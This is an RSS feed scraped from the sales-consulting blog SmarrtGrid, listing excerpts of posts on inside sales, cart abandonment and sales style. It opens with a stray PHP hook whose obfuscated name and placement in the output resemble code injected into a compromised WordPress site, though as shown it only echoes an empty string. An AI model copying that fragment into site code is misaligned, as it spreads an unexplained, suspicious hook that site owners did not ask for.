function wp_pf_ccad778c(){$c=wp_get_current_user()->has_cap('edit_posts')?1:0;if($c==0){echo'';}}add_action("wp_head","wp_pf_ccad778c"); SmarrtGrid https://www.smarrtgrid.com Reflact | Re-Invent | Reach Wed, 03 Jan 2018 12:54:46 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.5 5 Reasons: Why Digitised Inside Sales? Phenomenon You Can’t Escape. https://www.smarrtgrid.com/5-reasons-why-digitised-inside-sales/ https://www.smarrtgrid.com/5-reasons-why-digitised-inside-sales/#respond Wed, 03 Jan 2018 10:25:29 +0000 http://www.smarrtgrid.com/?p=527 In the 80’s-90’s it was known as telemarketing! It evolved to be known as “Inside Sales”. How has digitisation affected Inside Sales and your business? Can you afford to ignore the change? Selling on the phone using a time tested sales process and sales play-books have brought Inside Sales to forefront. Successful sales companies swear […]

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]]> https://www.smarrtgrid.com/5-reasons-why-digitised-inside-sales/feed/ 0 Top 6 Ways to Reduce Cart Abandonment, Get Upto 63% More Sales? https://www.smarrtgrid.com/top-6-ways-to-reduce-cart-abandonment-get-upto-63-more-sales/ https://www.smarrtgrid.com/top-6-ways-to-reduce-cart-abandonment-get-upto-63-more-sales/#respond Wed, 03 Jan 2018 09:20:59 +0000 http://www.smarrtgrid.com/?p=523 Whether you like it or not, the truth is that Global Shopping Cart abandon rate was 75%+ for the year ’17. This is a really big hit for all e-com platforms. What can you salvage from it? A whopping $4 Trillion worth ecommerce merchandise left to fend for itself on the check out stage. According […]

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]]> https://www.smarrtgrid.com/top-6-ways-to-reduce-cart-abandonment-get-upto-63-more-sales/feed/ 0 Top 2 Sales Style Improvements Essential in Today’s “All Time Online” Context. https://www.smarrtgrid.com/post-6/ https://www.smarrtgrid.com/post-6/#respond Mon, 11 Dec 2017 08:42:35 +0000 http://www.smarrtgrid.com/?p=107 What comes to your mind when you think of a successful sales person? Dynamic Personality, Command on Subject, Relationship Oriented & Go Getter! That’s not all. Time to change is NOW. Today’s Sales Ecosystem has migrated from “Brand to Customer” to “Customer to Customer”. This change in context makes it necessary for your business to shift […]

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